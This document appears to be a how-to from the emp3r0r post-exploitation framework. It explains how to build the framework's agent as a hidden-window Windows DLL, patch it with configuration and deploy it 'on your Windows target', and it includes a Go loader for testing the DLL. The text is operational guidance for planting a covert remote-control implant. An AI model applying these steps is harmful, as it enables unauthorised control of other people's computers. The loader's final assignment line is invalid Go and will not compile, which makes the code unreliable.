DLL Agent

How to

Build the stub DLL

Modify ./cmd/agent/main.go to make it include this:

// everything else
import "C"

//export main
func main() {
// everything else
}

This should export function main to make it callable.

Build the agent DLL on Windows host, with the following command:

go build -buildmode=c-shared -ldflags='-s -w -H=windowsgui' -o emp3r0r.dll .\cmd\agent\

Patch it with your agent configuration

Copy emp3r0r.dll to ~/.emp3r0r/stub-win-dll-amd64, then open emp3r0r.

Run gen_agent and select option 3.

Copy the generated DLL and use it on your Windows target.

Test the DLL

Here's a small tool that invokes a certain function from a certain DLL:

package main

import (
	"flag"
	"fmt"
	"syscall"
)

func main() {
	dll_file := flag.String("dll", "", "Load this DLL file")
	func_name := flag.String("func", "", "Call this function")
	flag.Parse()
	dllPath := *dll_file
	procName := *func_name

	// Load the DLL
	dll, err := syscall.LoadLibrary(dllPath)
	if err != nil {
		fmt.Println("Error loading DLL:", err)
		return
	}
	defer syscall.FreeLibrary(dll)

	// Get the function address
	proc, err := syscall.GetProcAddress(dll, procName)
	if err != nil {
		fmt.Println("Error getting function address:", err)
		return
	}

	// Call the function
	_, _, _ := syscall.SyscallN(proc, 0, 0, 0, 0)
}

Build and run it:

$env:VERBOSE='true' # enable logging so you know the agent is running
.\rundll.exe -func main -dll emp3r0r.dll